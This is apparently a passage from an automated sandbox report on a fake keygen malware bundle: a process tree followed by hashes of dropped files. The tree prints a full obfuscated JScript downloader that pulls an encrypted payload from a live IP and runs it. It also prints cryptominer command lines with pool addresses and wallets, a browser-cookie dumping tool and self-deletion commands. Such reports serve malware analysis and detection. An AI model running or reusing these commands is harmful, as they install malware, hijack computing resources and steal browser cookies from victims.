"http://45.138.24.76/?NTUzNDUx&bbeJnicAd&s2ht4=YmKrVCJqveDSk2bCIEBj38VndTjvVgfdOKa1TbgC-jgeDLgEOmMxeC15E9LeqzkWNzVafsJSC-RKJZAlH_JSRRrJo3AjxybUTdJojkRKD6mNUxOkZUVoT6QlHmPrPFKLArkh0BUZnVVnKJp1zohzGBiO6Mmh3sfSyRD92q-qT8rdwn5Qd&oa1n4=x33QcvWfaRyPDojEM_jdSqRBP0zYHliIxYq&fSDhMjI0NQ==" "2"9⤵
-
C:\Windows\SysWOW64\wscript.exewsCripT //B //E:JScript 3.tMp "cvbdfg" "http://45.138.24.76/?NTUzNDUx&bbeJnicAd&s2ht4=YmKrVCJqveDSk2bCIEBj38VndTjvVgfdOKa1TbgC-jgeDLgEOmMxeC15E9LeqzkWNzVafsJSC-RKJZAlH_JSRRrJo3AjxybUTdJojkRKD6mNUxOkZUVoT6QlHmPrPFKLArkh0BUZnVVnKJp1zohzGBiO6Mmh3sfSyRD92q-qT8rdwn5Qd&oa1n4=x33QcvWfaRyPDojEM_jdSqRBP0zYHliIxYq&fSDhMjI0NQ==" "2"10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c 77efc.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\77efc.exe77efc.exe12⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:275483 /prefetch:28⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:930849 /prefetch:28⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:1061920 /prefetch:28⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "cvbdfg" "http://45.138.24.76/?MjUxNjg0&yfRP&s2ht4=Yn6rVCJ2vfzSj2bCIFxj38V7dSTvVgfdOKa1UbgC-iQeDLgYOn8xeC15E87eqzkWNzVafsJPQ_hKJMw5E-5KWELU53F_xnbUUc8ojlhXQ6mdUzu5MUVkU6A5GmPzPFKLIrhJzXUYzVVvNfJ0jokzBUCO5NTJwsfO8RDhxq-qT8rd3n5Md&oa1n4=x33QcvWfaRuPDojDM_jdSqRGP0zYHliPxYq&ZylThNTE5Nw==" "2"9⤵
-
C:\Windows\SysWOW64\wscript.exewsCripT //B //E:JScript 3.tMp "cvbdfg" "http://45.138.24.76/?MjUxNjg0&yfRP&s2ht4=Yn6rVCJ2vfzSj2bCIFxj38V7dSTvVgfdOKa1UbgC-iQeDLgYOn8xeC15E87eqzkWNzVafsJPQ_hKJMw5E-5KWELU53F_xnbUUc8ojlhXQ6mdUzu5MUVkU6A5GmPzPFKLIrhJzXUYzVVvNfJ0jokzBUCO5NTJwsfO8RDhxq-qT8rd3n5Md&oa1n4=x33QcvWfaRuPDojDM_jdSqRGP0zYHliPxYq&ZylThNTE5Nw==" "2"10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c agv6c.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\agv6c.exeagv6c.exe12⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:1717278 /prefetch:28⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe"4⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\D1F1.tmp.exe"C:\Users\Admin\AppData\Roaming\D1F1.tmp.exe"5⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵
-
C:\Users\Admin\AppData\Roaming\D481.tmp.exe"C:\Users\Admin\AppData\Roaming\D481.tmp.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\D481.tmp.exe6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fef6d56e00,0x7fef6d56e10,0x7fef6d56e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1092,11224611574189711878,5643412338670472876,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1084 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1092,11224611574189711878,5643412338670472876,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1376 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fef6d56e00,0x7fef6d56e10,0x7fef6d56e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1044 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1372 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1608 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2012 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2064 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2340 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2536 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2744 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2760 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3244 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2236 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3332 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2612 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=992,2146161880493606871,18282593633316267393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4028 /prefetch:82⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2364.0.66837938\445697666" -parentBuildID 20200403170909 -prefsHandle 1132 -prefMapHandle 1124 -prefsLen 1 -prefMapSize 219537 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2364 "\\.\pipe\gecko-crash-server-pipe.2364" 1196 gpu3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2364.3.341960320\833567195" -childID 1 -isForBrowser -prefsHandle 2068 -prefMapHandle 1008 -prefsLen 156 -prefMapSize 219537 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2364 "\\.\pipe\gecko-crash-server-pipe.2364" 1964 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2364.13.1840918158\2114956860" -childID 2 -isForBrowser -prefsHandle 2556 -prefMapHandle 2464 -prefsLen 7014 -prefMapSize 219537 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2364 "\\.\pipe\gecko-crash-server-pipe.2364" 2572 tab3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2364.20.486587730\45323120" -childID 3 -isForBrowser -prefsHandle 2668 -prefMapHandle 2684 -prefsLen 8253 -prefMapSize 219537 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2364 "\\.\pipe\gecko-crash-server-pipe.2364" 2708 tab3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x5741⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
c46221f447f20fd935eddc39708bea35
SHA1e250b0208545da268fe176d292a047e9d7f17702
SHA256dfbee4fb60b6016c84b86edc5fb177ea0b1f65c0dd5464392ac87c97167fb810
SHA512e5c80a67582cc6a31fcd0806c75a94ae5cacbad4877e133b243c891bd94d9594da7d4a335a6725e975e44931cae6de3140f5063ddb55d1d7d7dc4234c9754311
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
c46221f447f20fd935eddc39708bea35
SHA1e250b0208545da268fe176d292a047e9d7f17702
SHA256dfbee4fb60b6016c84b86edc5fb177ea0b1f65c0dd5464392ac87c97167fb810
SHA512e5c80a67582cc6a31fcd0806c75a94ae5cacbad4877e133b243c891bd94d9594da7d4a335a6725e975e44931cae6de3140f5063ddb55d1d7d7dc4234c9754311
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
c46221f447f20fd935eddc39708bea35
SHA1e250b0208545da268fe176d292a047e9d7f17702
SHA256dfbee4fb60b6016c84b86edc5fb177ea0b1f65c0dd5464392ac87c97167fb810
SHA512e5c80a67582cc6a31fcd0806c75a94ae5cacbad4877e133b243c891bd94d9594da7d4a335a6725e975e44931cae6de3140f5063ddb55d1d7d7dc4234c9754311
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
c46221f447f20fd935eddc39708bea35
SHA1e250b0208545da268fe176d292a047e9d7f17702
SHA256dfbee4fb60b6016c84b86edc5fb177ea0b1f65c0dd5464392ac87c97167fb810
SHA512e5c80a67582cc6a31fcd0806c75a94ae5cacbad4877e133b243c891bd94d9594da7d4a335a6725e975e44931cae6de3140f5063ddb55d1d7d7dc4234c9754311
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesMD5
13c108fda0efa8be7379a2c2c1aa1cd5
SHA18deb51bcb8813f1bfcf85acdfb674ab122c17603
SHA25623a91b20bdf0b2c7a140b8398322fa2edd6ef0adc43cb35c0f4c804d4201c860
SHA51237caa60b0e1b79f0baa201682653b2cfbf26192ac4de5669c4fae15d7e3b44e76dd350834470acb8ee49b677724209e610d8a8ee2cfc7e6c8ff04deaf6cbbaa3
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateMD5
dbcb22c4f3376c56ce0baba7cc9ffaa4
SHA17356574c97b59cbf6d56727120cc63443405f399
SHA256ce6f09ac9bef2c52bc3b3d3c9f7539aefa53aa119ea274be019f085f01e404cb
SHA512b6fc538b873aa6e840f89e6b694f5e56d5738b6fd4280408fb97cc618aeb3b5063b106359b54e1224c39ca62dacddc3db887846b3ce535df339cc8130fd4fb59
-
C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exeMD5
eb3a3997d9744806a97c3a7e23d06dab
SHA1b7d6eadc67439e1051a3fbdfb9d403c1c009660b
SHA256c9579454059f3a288875b0685ea25f5862f4e66c0839608fe562b3664a2ea5c0
SHA512d2877a3023a916d5dfd56844c39c319e906fa2c2a43005992f3bfcf5ca2b218c28c82af3760242f5988461cb8dbd66b01760b0263a7f1cbc5875d85f84f57ed9
-
C:\Users\Admin\AppData\Local\Temp\6E6R66WA84\multitimer.exe.configMD5
3f1498c07d8713fe5c315db15a2a2cf3
SHA1ef5f42fd21f6e72bdc74794f2496884d9c40bbfb
SHA25652ca39624f8fd70bc441d055712f115856bc67b37efb860d654e4a8909106dc0
SHA512cb32ce5ef72548d1b0d27f3f254f4b67b23a0b662d0ef7ae12f9e3ef1b0a917b098368b434caf54751c02c0f930e92cffd384f105d8d79ee725df4d97a559a3d
-
C:\Users\Admin\AppData\Local\Temp\PSS622DACF\setups.exeMD5
b990e93a4386c13768f8f3285a0ca37d
SHA15bcbe2f8ad3c72190d5553c084aa3e47d810a495
SHA256231ff2dfc7be6eb47f9b0c6393ea4fceb71bf66f67b00d3dffea0e58b44b5603
SHA5127360395347094ef69a509ddf3040afcd8083907c1539b1af12b0ea08bf6835b600e765916ee6dc18242f85e1a038adf6aaecab15487076a52b8a02e89874bedb
-
C:\Users\Admin\AppData\Local\Temp\PSS622DACF\setups.exeMD5
b990e93a4386c13768f8f3285a0ca37d
SHA15bcbe2f8ad3c72190d5553c084aa3e47d810a495
SHA256231ff2dfc7be6eb47f9b0c6393ea4fceb71bf66f67b00d3dffea0e58b44b5603
SHA5127360395347094ef69a509ddf3040afcd8083907c1539b1af12b0ea08bf6835b600e765916ee6dc18242f85e1a038adf6aaecab15487076a52b8a02e89874bedb
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exeMD5
9aaafaed80038c9dcb3bb6a532e9d071
SHA14657521b9a50137db7b1e2e84193363a2ddbd74f
SHA256e019f9e9da75b4b108fd9a62853e5966d13a33fc13718b8248041204316edff5
SHA5129d69afc8c16ddc2261b46cc48e7ca2176e35a19534d82c6245baa6318b478fd63d1235a8418c07bf11cb5386aa0ee9879db90866b88251b16b959880d6ab0996
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exeMD5
9aaafaed80038c9dcb3bb6a532e9d071
SHA14657521b9a50137db7b1e2e84193363a2ddbd74f
SHA256e019f9e9da75b4b108fd9a62853e5966d13a33fc13718b8248041204316edff5
SHA5129d69afc8c16ddc2261b46cc48e7ca2176e35a19534d82c6245baa6318b478fd63d1235a8418c07bf11cb5386aa0ee9879db90866b88251b16b959880d6ab0996
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exeMD5
3ac32a87de172d89addb21d6b309b7d3
SHA1947df0b364b7773397620d396d9278d9dba48ac2
SHA2563f78af0e31a617f10ece7cffca4b530ac38b5c2079e004a690b4181e98b7288c
SHA51250aaccee48be92fa7f59a87da150c4f611f0173e595f252f068b67a9794626d58a904799054ca10c5d7bb22f14045c4aacf93c3424449e5df677a800a91cb626
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exeMD5
3ac32a87de172d89addb21d6b309b7d3
SHA1947df0b364b7773397620d396d9278d9dba48ac2
SHA2563f78af0e31a617f10ece7cffca4b530ac38b5c2079e004a690b4181e98b7288c
SHA51250aaccee48be92fa7f59a87da150c4f611f0173e595f252f068b67a9794626d58a904799054ca10c5d7bb22f14045c4aacf93c3424449e5df677a800a91cb626
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.batMD5
f2632c204f883c59805093720dfe5a78
SHA1c96e3aa03805a84fec3ea4208104a25a2a9d037e
SHA256f9458a661ecd6c7e8fae669be72497288472a11ac3e823d3074e58f7fe98cd68
SHA5125a19c4a777899889381be64f190e50a23cceee0abb78776b6d041e2384ba88e692972e40cefa34c03ca1b7d029475a0afbc5ce006ce833a1665e52008671bae2
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exeMD5
f6511067f5e0b3e78e79fc447be65289
SHA1681708217151dff7e8afa17e962cf7fe3985c236
SHA256be6c05fa4ccc03a043b798950a8db1d09f8145b8279020235091dc6ec6b68fd5
SHA512fba46f4b7472d6b01ae5b14cc0438261e34e69bc043e4b2eaa877174a0bbbac83b8b5b2a6d65aea1883dd6d135cfe9da69b1e3b4858d27b3a31e00852ec626dc
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exeMD5
f6511067f5e0b3e78e79fc447be65289
SHA1681708217151dff7e8afa17e962cf7fe3985c236
SHA256be6c05fa4ccc03a043b798950a8db1d09f8145b8279020235091dc6ec6b68fd5
SHA512fba46f4b7472d6b01ae5b14cc0438261e34e69bc043e4b2eaa877174a0bbbac83b8b5b2a6d65aea1883dd6d135cfe9da69b1e3b4858d27b3a31e00852ec626dc
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exeMD5
